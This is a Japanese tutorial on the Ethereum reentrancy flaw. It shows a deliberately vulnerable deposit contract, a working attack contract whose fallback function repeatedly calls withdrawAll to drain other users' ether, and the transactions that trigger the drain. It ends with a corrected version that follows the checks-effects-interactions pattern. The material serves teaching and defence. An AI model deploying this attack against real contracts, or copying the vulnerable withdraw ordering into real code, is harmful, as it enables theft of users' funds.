##概要
コントラクトコードの書き方を間違えると、イーサは第三者に簡単に盗めてしまう。
なので、そのあたりは気をつけましょうね、というお話。
気をつけないことは他にも色々あるけれど、一気に書くとごちゃつくので
タイトル通り、Reentrancy問題部分だけにフォーカスする。
必要な前提知識
- イーサリアムには2種類のアカウントがある
- 一つは、EOA(Externally Owned Account)でこれは個人のアカウントだと考えれば良い
- もう一つは、CA(Contract Account)でコントラクトコードがアカウントを持つと考えれば良い
- どちらのアカウントもアドレス(と状態)を持つ
- CAもEOAと同様にイーサの送金を受け付け、イーサを保持できる
一時的な口座として利用できるイメージ。 - コントラクトコードにはFallbackという名前・引数無しの特殊な関数を一つだけ作ることができ
これは「そのCA宛にイーサが送金されたタイミング」で自動的に呼び出される。
これだけ分かっていれば十分。
今回の構成
コントラクト名 | 説明 |
---|---|
DameContract | 入金と入金額の全額引出が可能なコントラクト。コードに脆弱性あり |
ItadakiContract | DameContractの脆弱性をついてお金を盗む悪意のあるコントラクト |
なお、DameContractには複数のEOAから既にイーサが入金されている状態とする。
例えば100アカウントで1万イーサくらい入っている、と。
DameContractのコード(脆弱性あり)
// 残高管理表
mapping(address => uint) public userBalance;
/// イーサの預け入れを行う
function addBalance() public payable { userBalance[msg.sender] += msg.value; }
/// イーサの全額引き出しを行う
function withdrawAll() public payable returns(bool){
// 1.残高を確認
if(userBalance[msg.sender] == 0) { return false; }
// 2.全額引き出しを行う
// 残高をもとに呼び出し元のアドレスにイーサを送金している
if(!(msg.sender.call.value(userBalance[msg.sender])())){ throw; }
// 3.残高をゼロに更新する
userBalance[msg.sender] = 0;
}
ItadakiContractのコード(窃盗用)
// DameContractのアドレス格納
address public target;
/// コンストラクタ
/// コントラクトデプロイ時にDameContractアドレスが設定される
function ItadakiContract(address _target) { target = _target; }
/// DameContractにイーサを送金する関数
function sendToDameContract() public {
if(!target.call.value(1 ether)(bytes4(sha3("addBalance()")))){ throw; }
}
/// DameContractから残高を引き出す関数
function steal() public {
if(!target.call.value(0)(bytes4(sha3("withdrawAll()")))){ throw; }
}
/// FallBack関数
function() payable {
// DameContractのwithdrawAllをCall
if(!msg.sender.call.value(0)(bytes4(sha3("withdrawAll()")))){
// 処理はなんでもいい(ログとか)
}
}
イーサを盗む手順
すごくシンプル。
まず、ItadakiContractのsendToDameContractを呼び出して1イーサを入金する。
要は {address:ItadakiContractアドレス, Value:1 ether}
という残高情報をuserBalanceに入れてDameContractのwithrawAll内の
「1.残高チェック」に引っかからないようにだけしておくということ。
ItadakiContract.sendToDameContract
.sendTransaction({from:eth.account[攻撃者EOAアドレス], gas: 20000000)
次に、DameContractに預け入れたイーサの引き出しを行う。
これも、ItadakiContractを経由してDameContractのwithdrawAllを呼び出す。
ItadakiContract.steal.sendTransaction({from:eth.account[自分のアカウント], gas: 20000000)
これだけで、他のEOAから預け入れた分を含むDameContractの全イーサを引き出すことができる。
いったい何が起こっているのか?
0.(IdatakiContractからDameContractに1イーサ送金している)
1.ItadakiContractのsteal関数をCallする
2.steal関数はDameContractのwithdrawAllを呼び出す
3.withdrawAll関数内で「1.残高チェック」は成功する(1イーサあるので)
4.withdrawAll関数内で「2.全額引き出しを行う」が実施され、IdatakiContractに1イーサが送金される
5.冒頭の必要な前提知識にあるとおり、このタイミングでItadakiContractのFallBack関数が自動Callされる
6.IdatakiContractのFallback関数内で再度、DameContractのwithdrawAllがCallされる
7.3に戻る。以下、DameContractのイーサが全て引き出されるか、Gasが尽きるまで繰り返し
何故このようなことが起きるのか?
これはもう単純にイーサを送金してから残高をゼロクリアしてるから。
1.残高を確認
⇩
2.全額引き出しを行う
⇩
ここの間隙を突かれてしまった
⇩
3.残高をゼロに更新する
対策について
分かりきったことだが
1.残高を確認
2.残高をゼロに更新する(残高は退避しておく)
3.(退避した残高分の)引き出しを行う
にするだけで防ぐことができる。
これを Condition - Effects - interaction パターンと呼ぶ。
- Condition
- 関数を実行できる条件を確認する(条件チェック)
- Effects
- ステートを更新する(残高情報など)
- Interaction
- 他のコントラクトへメッセージを送るのは最後(送金など)
修正後のコード
// 残高管理表
mapping(address => uint) public userBalance;
/// イーサの預け入れを行う
function addBalance() public payable { userBalance[msg.sender] += msg.value; }
/// イーサの全額引き出しを行う
function withdrawAll() public payable returns(bool){
// 1.残高を確認
if(userBalance[msg.sender] == 0) { return false; }
// 2.送金額を退避して残高をゼロに更新する
uint sendBalance = userBalance[msg.sender];
userBalance[msg.sender] = 0;
// 3.全額引き出しを行う
// 残高をもとに呼び出し元のアドレスにイーサを送金している
if(!(msg.sender.call.value(sendBalance)())){ throw; }
}